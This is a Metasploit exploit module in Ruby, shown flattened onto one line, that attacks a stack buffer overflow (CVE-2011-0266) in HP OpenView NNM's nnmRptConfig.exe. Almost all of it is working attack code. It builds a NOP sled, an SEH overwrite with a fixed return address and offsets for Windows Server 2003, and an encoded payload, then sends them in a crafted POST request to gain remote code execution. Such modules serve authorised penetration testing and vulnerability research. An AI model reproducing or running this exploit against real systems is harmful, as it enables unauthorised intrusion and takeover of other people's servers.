## # $Id: hp_nnm_nnmrptconfig_nameparams.rb 12085 2011-03-23 03:37:18Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Seh def initialize(info={}) super(update_info(info, 'Name' => "HP OpenView NNM nnmRptConfig nameParams Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability in HP NNM's nnmRptConfig.exe. A remote user can send a long string data to the nameParams parameter via a POST request, which causes an overflow on the stack when function ov.sprintf_new() is used, and gain arbitrary code execution.' }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 12085 $", 'Author' => [ 'sinn3r', ], 'References' => [ ['CVE', '2011-0266'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-008/'] ], 'Payload' => { 'BadChars' => "\x00\x26\x2b", }, 'DefaultOptions' => { 'ExitFunction' => "seh", 'AutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Targets' => [ ['Windows Server 2003 Enterprise', {'Ret'=>0x5A30532D, 'offset'=>46913, 'Pops'=>13, 'Payloadoffset'=>57} ], ], 'Privileged' => false, 'DisclosureDate' => "JAN 10 2011")) register_options( [ Opt::RPORT(80), ], self.class) end def exploit nops = make_nops(1000)*70 sploit = nops[0, target['offset']] sploit << generate_seh_record(target.ret) sploit << "\x61"*target['Pops'] sploit << "\x51" sploit << "\xc3" sploit << nops[0, target['Payloadoffset']] sploit << payload.encoded sploit << nops[0, 70000-sploit.length] data = "Content&Action=Create&" data << "Template=Avail/CRAvail&" data << "Operation=Apply&" data << "Params=schdParams+nameParams" data << "&schdParams=schd_select1%3Ddaily%7Cmonthtodate&" data << "nameParams=text1%3D#{sploit}%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1" connect send_request_raw({ 'uri' => '/OvCgi/nnmRptConfig.exe', 'data' => data, 'version' => '1.1', 'method' => 'POST', 'headers' => { 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language' => 'en-us,en;q=0.5', 'Accept-Encoding' => 'gzip,deflate', 'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', 'Keep-Alive' => '300', 'Connection' => 'Keep-Alive', 'Cache-Control' => 'max-age=0', 'Content-Length' => data.length, 'Content-Type' => 'application/x-www-form-urlencoded', } }, 3) handler disconnect end end